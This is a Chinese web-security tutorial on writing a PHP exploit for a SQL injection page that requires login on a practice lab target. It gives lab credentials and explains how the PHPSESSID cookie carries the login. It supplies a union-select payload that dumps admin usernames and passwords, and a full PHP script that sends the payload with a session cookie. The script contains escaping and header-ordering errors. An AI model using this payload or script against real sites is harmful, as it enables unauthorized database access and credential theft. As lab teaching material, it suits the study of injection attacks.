WEB安全第七章exp编写四 存在权限限制exp编写
前三篇exp编写,相信大家对exp编写已经有了一定的认识,已经具备了一定的exp编写能力了。
不理解 或者不懂 最好把前三篇再学习,再来学习这篇,前三篇都是直接使用payload 访问攻击页面,而且不需要权限认证,能直接使用exp。
如果遇上需要登录后才能访问漏洞页面,这是该怎么办?
访问暗月靶机系统
帐号和密码分别是:moon 123456
登录访问->成功后->文章列表
id=1 是存在SQL注入的,以下是测试的payload语句。
-1 union select 1,2,group_concat(0x7e,username,0x3a,password,0x7e) from admin
如果不登录的情况下直接访问url 页面是会返回 登录后再进行访问 这种情况下编写exp同样是返回 登录后再进行访问。
http://target_sys.com/article.php?id=-1%20union%20select%201,2,group_concat(0x7e,username,0x3a,password,0x7e)%20from%20admin
这种页面如何处理?
1、首先要理解 用户登录验证是通过 SESSION_ID 做判断的,无论是那种网页程序 asp aspx php java都是一样的。
以暗月靶机系统为列 ,访问网页的时候 系统会分配一个唯一的SEESION_ID给你的浏览器,主要是表现在http头信息,没特别的设置的时候,关闭浏览器这个文件头信息就会消失。
2、用户登录成功后会在SESSION里生成判断的key 通过这个key验证是否登录。
登录成功后系统就会王 060ntcbj0ntqnahf125qkc3s41这个文件里面写入内容,具体看这个部分的代码
$_SESSION['name']=$usernme;
登录成功后查看文件 Cookie:PHPSESSID=060ntcbj0ntqnahf125qkc3s41 里就会存在moon
exp代码
<?php $site="target_sys.com"; $payload="article.php?id=-1%20union%20select%201,2,group_concat(0x7e,username,0x3a,password,0x7e)%20from%20admin"; $key ="PHPSESSID=060ntcbj0ntqnahf125qkc3s41"; function send_http($site,$payload,$key){ $fp = fsockopen($site, 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />/n"; } else { $out = "GET /{$payload} HTTP/1.1/r/n"; $out .= "Host:{$site} /r/n"; $out .= "Connection: keep-alive/r/n/r/n"; $out .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8/r/n"; $out .="Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2/r/n"; $out .="Cookie:{$key}/r/n"; fwrite($fp, $out); while (!feof($fp)) { $resp .= fgets($fp, 1024); } fclose($fp); return $resp; } } $html = send_http($site,$payload,$key); if($html){ preg_match('/~(.*?)~/', $html,$m); if($m[1]){ echo "[+]{$m[1]}[+]"; }else{ echo "[!]error[!]"; } }else{ echo "[!]error[!]"; } ?>
下载exp exp3.rar
直接运行如图
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论